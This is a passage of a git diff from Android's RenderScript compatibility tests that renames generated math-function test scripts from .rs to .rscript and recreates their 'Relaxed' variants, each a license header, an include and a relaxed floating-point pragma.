deleted file mode 100644
index 21493a2..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFmod.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rscript
new file mode 100644
index 0000000..8d2b79a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFmodRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFmod.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFract.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rs
deleted file mode 100644
index 344a263..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFract.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rscript
new file mode 100644
index 0000000..a2932c5
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFractRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFract.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexp.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rs
deleted file mode 100644
index d2fce54..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestFrexp.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rscript
new file mode 100644
index 0000000..95090d3
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestFrexpRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestFrexp.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecip.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rs
deleted file mode 100644
index 7dc0a9b..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestHalfRecip.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rscript
new file mode 100644
index 0000000..afd8282
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRecipRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestHalfRecip.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rs
deleted file mode 100644
index 7a3aaaf..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestHalfRsqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rscript
new file mode 100644
index 0000000..460fa05
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfRsqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestHalfRsqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rs
deleted file mode 100644
index 7d4827a..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestHalfSqrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rscript
new file mode 100644
index 0000000..a0d3986
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHalfSqrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestHalfSqrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypot.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rs
deleted file mode 100644
index 39d142a..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestHypot.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rscript
new file mode 100644
index 0000000..6bb4680
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestHypotRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestHypot.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogb.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rs
deleted file mode 100644
index 0545c3a..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestIlogb.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rscript
new file mode 100644
index 0000000..e6d131a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestIlogbRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestIlogb.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexp.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rs
deleted file mode 100644
index 66bb775..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLdexp.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rscript
new file mode 100644
index 0000000..f02599e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLdexpRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLdexp.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLength.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rs
deleted file mode 100644
index c75aed9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLength.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rscript
new file mode 100644
index 0000000..32cf679
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLengthRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLength.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgamma.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rs
deleted file mode 100644
index 2d5a155..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLgamma.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rscript
new file mode 100644
index 0000000..071ea4d
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLgammaRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLgamma.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rs
deleted file mode 100644
index 48a2d4e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLog10.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rscript
new file mode 100644
index 0000000..95b808f
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog10Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLog10.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1p.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rs
deleted file mode 100644
index 99685fc..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLog1p.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rscript
new file mode 100644
index 0000000..b4873bb
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog1pRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
